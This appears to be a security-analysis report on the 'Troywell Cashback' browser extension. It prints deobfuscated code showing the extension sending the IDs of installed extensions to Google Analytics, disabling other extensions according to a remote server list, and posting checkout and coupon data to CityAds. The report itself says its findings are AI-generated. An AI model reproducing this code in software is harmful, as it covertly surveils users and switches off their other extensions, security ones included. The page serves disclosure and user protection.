Is Troywell Cashback - discounts and cashback safe?

High risk

Troywell Cashback is high risk. We observed Troywell Cashback send a Google Analytics install event with installed extension IDs. The install handler calls the management API, collects every installed extension ID, and puts the array in the event label with the UUID.…

80Risk
Who publishes it

1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Same store account

1 other listing published from this account, 500k+ users between them. 1 of them carries a finding.

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

troywell.org
Also called by 1 other listing: Troywell VPN Pro
analytics.troywell.org
Also called by 2 other listings, including Troywell VPN Pro
cdn.translations.troywell.org
Also called by 2 other listings, including Troywell VPN Pro

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Installed extension IDs sent to Google Analytics

We observed Troywell Cashback send a Google Analytics install event with installed extension IDs.

The install handler calls the management API, collects every installed extension ID, and puts the array in the event label with the UUID.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You install Troywell Cashback.

The extension did this

The extension lists installed browser extensions and sends their IDs in an analytics event.

Captured request
POSThttps://www.google-analytics.com/mp/collect?measurement_id=G-N6BN6GEHEG&api_credential=<redacted>

Observed during dynamic analysis: body event Management/Installed label=["fopngjlhcjlcadegfhkekadiaephjcaj"]; hooks show chrome.management.getAll.

Fields shown by the captured event and source code
  • Installed extension ID
    fopngjlhcjlcadegfhkekadiaephjcaj

    This identifies another browser extension installed in the same profile.

  • Event category
    Management

    This labels the event as information about your browser's installed extensions.

  • Event action
    Installed

    This marks the extension-list event as part of the install flow.

  • Extension UUID
    a8g2kqz1n5p7h0m3r9v6c4xw1s2e8d0b9f7j

    This lets repeated analytics events from the same extension installation be tied together.

The code that does this

Install-time extension inventory is turned into a GA event

Readable version

Readable install handler

deobfuscated/bg/bundle.js
async sendOnInstalled() {  await this.loadExtId(), this.settings.isAnalyticsEnabled && (this.sendToGa({    ec: "Extension",    ea: "Install"  }), chrome.management && chrome.management.getAll((t => {    const e = t.map((t => t.id));    this.sendToGa({      ec: "Management",      ea: "Installed",      el: JSON.stringify(e)    })  })))}

Readable analytics sender

deobfuscated/bg/bundle.js
sendToGa(t) {  let {    el: e,    ec: n,    ea: r  } = t;  if (!this.settings.isAnalyticsEnabled) return;  const i = n.replaceAll("-", "_").replaceAll(" ", "_"),    a = {      name: i    };  if (null != r) {    const t = {      action: r.replaceAll("-", "_").replaceAll(" ", "_"),      category: i,      engagement_time_msec: Math.floor(1e3 * Math.random()) + 100,      session_id: Math.floor(9999999 * Math.random()) + 1,      extension_version: chrome.runtime.getManifest().version    };    if (null != e) {      const n = e.toString().replaceAll("-", "_").replaceAll(" ", "_");      t.label = n    }    a.params = t  }  fetch("https://www.google-analytics.com/mp/collect?measurement_id=G-N6BN6GEHEG&api_credential=<redacted>", {    method: "POST",    body: JSON.stringify({      client_id: this.extId,      user_id: this.extId,      timestamp_micros: `${Date.now()}000`,      events: [a]    })  })}
External service receiving the event
    • www.google-analytics.com

    Receives the Measurement Protocol event named Management with action Installed and a label containing the installed-extension ID array.

Remote config can turn off matching extensions

Troywell Cashback fetches a thanos config from troywell.org and compares server extension-ID lists against your enabled extensions.

If an enabled ID appears in the any-time or activation-time list, it calls the management API to disable it.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You install Troywell Cashback or activate cashback on a merchant site.

The extension did this

The extension compares your enabled extension IDs with a server list and can turn off matches.

Captured request
GEThttps://troywell.org/api/configs/thanos
Configuration fields that drive the extension-management action
  • Any-time extension list
    fopngjlhcjlcadegfhkekadiaephjcaj

    A server-provided ID in this list can be matched against extensions enabled in your browser during startup checks.

  • Activation-time extension list
    cjpalhdlnbpafiamejdnhcphjbkeiagm

    A server-provided ID in this list can be matched when you activate cashback.

  • Enabled extension IDs
    cjpalhdlnbpafiamejdnhcphjbkeiagm

    This reflects which browser extensions are currently enabled in the same profile.

  • Enabled flag
    false

    This is the value passed to the browser when a matching extension is turned off.

The code that does this

Remote list intersection leads to chrome.management.setEnabled

Readable version

Readable remote config registration

deobfuscated/bg/bundle.js
const e = "troywell.org",  r = `https://${e}`,  S = `${r}/api/configs/thanos`;class Mt extends yt {  constructor() {    super({      name: "configs.thanos",      url: S,      options: {        updateIntervalMinutes: 240      }    })  }  parse(t) {    return t[0] || {}  }}

Readable extension-disabling controller

deobfuscated/bg/bundle.js
class Ft {  constructor() {    this.name = "thanos", this.browser = ot(), this.enabled = !1, this.allExt = []  }  async init() {    this.config = n.g.app.configs.thanos, this.controller(!1, "anyTime")  }  async controller(e) {    let n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "activationTime";    if (this.checkState(), !this.enabled) return;    e || (this.allExt = await this.getAllEnabledExtension());    (0, t.intersection)(this.config?.data[n] || [], this.allExt).forEach((t => {      this.toggleExtension(t, e)    }))  }  async getAllEnabledExtension() {    return new Promise((t => {      try {        chrome.management.getAll && chrome.management.getAll((e => {          const n = e.filter((t => {            let {              enabled: e            } = t;            return e          }));          t(n.map((t => {            let {              id: e            } = t;            return e          })))        }))      } catch (t) {}    }))  }  toggleExtension(t) {    let e = !(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1];    try {      if (t === chrome.runtime.id) return;      chrome.management.setEnabled(t, e)    } catch (t) {}  }  checkState() {    this.enabled = "ya" !== this.browser && "ff" !== this.browser && !!chrome.management  }}
Remote host controlling the matching list
    • troywell.org

    Serves the /api/configs/thanos response whose anyTime and activationTime lists are compared with enabled extension IDs.

Coupon checkout details sent to CityAds

When coupon auto-apply runs at checkout, the extension builds an analytics payload and posts it to CityAds.

It can include merchant name/ID, checkout host, coupon code, cart total, savings, extension ID/version, CAA config ID; untested.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You use the coupon auto-apply flow on a merchant checkout page.

The extension did this

The extension builds a checkout analytics payload and sends it to CityAds.

The code sends state changes such as show, close, start, cancel, success, and fail.

Fields built into the coupon analytics payload
  • Coupon flow state
    SUCCESS

    This describes where you are in the coupon auto-apply process, such as starting, canceling, or completing it.

  • Checkout hostname
    checkout.example-store.com (illustrative)

    This identifies the shopping site where the coupon flow is running.

  • Coupon code
    SAVE10 (illustrative)

    On a successful coupon application, this records which coupon was applied during your checkout session.

  • Checkout total
    59.99 (illustrative)

    This gives the analytics endpoint context about the value of the cart where the coupon flow ran.

  • Savings amount
    10.00 (illustrative)

    This records how much the coupon flow reports saving during the checkout session.

  • Merchant
    Example Store / 12345 (illustrative)

    This identifies the store associated with the checkout page and coupon flow.

  • Extension install
    jcmbmadioaobdgfbmbpenhlcppfcahhi / 1.0.1

    This identifies which browser extension build generated the coupon telemetry.

  • CAA configuration
    config.id=98765; type=caa (illustrative)

    This links the checkout event to the coupon auto-apply configuration used on the page.

Captured request
POSThttps://cityads.com/mobilerewards/analytics/activity/troywell
The code that does this

Coupon state changes become a CityAds analytics POST

Readable version

Content-script payload builder

content/bundle.js
_ = t => {  const n = Fp().getCurrentStates();  let r = null;  if ("Show" === t || "Close" === t || "Start" === t || "Cancel" === t || "Success" === t || "Fail" === t) {    r = {      category: t.toUpperCase(),      type: "caa",      url: window.location.hostname,      caa: {        version: Fp().version,        coupon: "Success" === t ? u.value.bestCoupon?.code : void 0      },      price: {        saved: "Success" === t ? Number.parseFloat(u.value.caaSavings.toFixed(2)) : void 0,        total: n.total      },      button: {        id: chrome.runtime.id,        version: chrome.runtime.getManifest().version      },      store: {        name: s.value.name,        id: s.value.id      },      config: {        id: n.config.id,        type: "caa"      }    };    const o = {      ec: "CAA",      ea: t,      el: s.value.domain    };    e.dispatch("sendCaaGA", {      ga: o,      caaAnalytics: r    })  }}

Apply and close trigger CAA events

content/bundle.js
apply: async () => {  u.value = null, d.value = [], e.dispatch("sendAnalytics", {    ea: "CAA_apply_clicked",    ec: "CAA",    el: g.value  }), _("Start"), await Fp().process()},close: async () => {  const t = Fp().getCurrentStates();  [Td].includes(t.status) && (c.value = !1, e.dispatch("sendAnalytics", {    ea: "CAA_closed",    ec: "CAA",    el: g.value  }), _("Close")), [Od, Ed, jd].includes(t.status) && (await Fp().stop(), Fp().startObserving(), e.dispatch("sendAnalytics", {    ea: "CAA_canceled",    ec: "CAA",    el: g.value  }), _("Cancel")), [Nd, Fd].includes(t.status) && (c.value = !1, Fp().startObserving()), y()}

Background POST to CityAds

bg/bundle.js
sendCaa(t) {  let {    data: e  } = t;  if (!this.settings.isAnalyticsEnabled) return;  const {    caaAnalytics: n  } = e;  n && fetch("https://cityads.com/mobilerewards/analytics/activity/troywell", {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(n)  })}
Destination for coupon auto-apply telemetry
    • cityads.com

    Receives coupon auto-apply analytics containing merchant, checkout, coupon, price, savings, extension, and configuration fields.

+1 more finding not shown

What it can do

Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • See, disable and uninstall your other extensions, including your security ones

    management

  • Run its own code inside the pages you visit

    scripting

  • Act on the current tab, but only after you click the extension

    activeTab

  • See the address and title of every tab you have open

    tabs

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

  • Schedule its own background tasks

    alarms

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Show you desktop notifications

    notifications

declarativeNetRequestWithHostAccess
Updated 30 September 2026jcmbmadioaobdgfbmbpenhlcppfcahhi